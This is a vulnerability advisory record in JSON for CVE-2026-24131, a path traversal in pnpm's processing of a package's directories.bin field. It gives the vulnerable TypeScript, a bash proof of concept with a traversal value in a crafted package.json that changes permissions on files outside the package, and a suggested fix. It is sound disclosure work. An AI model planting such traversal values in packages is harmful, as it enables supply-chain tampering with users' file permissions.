{"id":"CVE-2026-24131","aliases":["GHSA-v253-rj99-jwpq"],"url":"https://o3.security/vulnerability/CVE-2026-24131","summary":"pnpm has Path Traversal via arbitrary file permission modification","details":"### Summary\nWhen pnpm processes a package's `directories.bin` field, it uses `path.join()` without validating the result stays within the package root. A malicious npm package can specify `\"directories\": {\"bin\": \"../../../../tmp\"}` to escape the package directory, causing pnpm to chmod 755 files at arbitrary locations.\n\n**Note:** Only affects Unix/Linux/macOS. Windows is not affected (`fixBin` gated by `EXECUTABLE_SHEBANG_SUPPORTED`).\n\n### Details\nVulnerable code in `pkg-manager/package-bins/src/index.ts:15-21`:\n\n```typescript\nif (manifest.directories?.bin) {\n  const binDir = path.join(pkgPath, manifest.directories.bin)  // NO VALIDATION\n  const files = await findFiles(binDir)\n  // ... files outside package returned, then chmod 755'd\n}\n```\n\nThe `bin` field IS protected with `isSubdir()` at line 53, but `directories.bin` lacks this check.\n\n### PoC\n```bash\n# Create malicious package\nmkdir /tmp/malicious-pkg\necho '{\"name\":\"malicious\",\"version\":\"1.0.0\",\"directories\":{\"bin\":\"../../../../tmp/target\"}}' > /tmp/malicious-pkg/package.json\n\n# Create sensitive file\nmkdir -p /tmp/target\necho \"secret\" > /tmp/target/secret.sh\nchmod 600 /tmp/target/secret.sh  # Private\n\n# Install\npnpm add file:/tmp/malicious-pkg\n\n# Check permissions\nls -la /tmp/target/secret.sh  # Now 755 (world-readable)\n```\n\n### Impact\n- Supply-chain attack via npm packages\n- File permissions changed from 600 to 755 (world-readable)\n- Affects non-dotfiles in predictable paths (dotfiles excluded by tinyglobby default)\n\n### Suggested Fix\nAdd `isSubdir` validation for `directories.bin` paths in `pkg-manager/package-bins/src/index.ts`, matching the existing validation in `commandsFromBin()`:\n\n```typescript\nif (manifest.directories?.bin) {\n  const binDir = path.join(pkgPath, manifest.directories.bin)\n  if (!isSubdir(pkgPath, binDir)) {\n    return []  // Reject paths outside package\n  }\n  // ...\n}\n```","published":"2026-01-26T22:03:33.808Z","modified":"2026-09-12T11:45:11.075786967Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"pnpm","fixedVersion":"10.28.2"}],"fix":{"url":"https://github.com/pnpm/pnpm/commit/17432ad5bbed5c2e77255ca6d56a1449bbcfd943","label":"pnpm/pnpm@17432ad"},"references":[{"type":"WEB","url":"https://github.com/pnpm/pnpm/releases/tag/v10.28.2"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/24xxx/CVE-2026-24131.json"},{"type":"ADVISORY","url":"https://github.com/pnpm/pnpm/security/advisories/GHSA-v253-rj99-jwpq"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-24131"},{"type":"FIX","url":"https://github.com/pnpm/pnpm/commit/17432ad5bbed5c2e77255ca6d56a1449bbcfd943"},{"type":"PACKAGE","url":"https://github.com/pnpm/pnpm"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-09-12T11:45:11.075786967Z"}}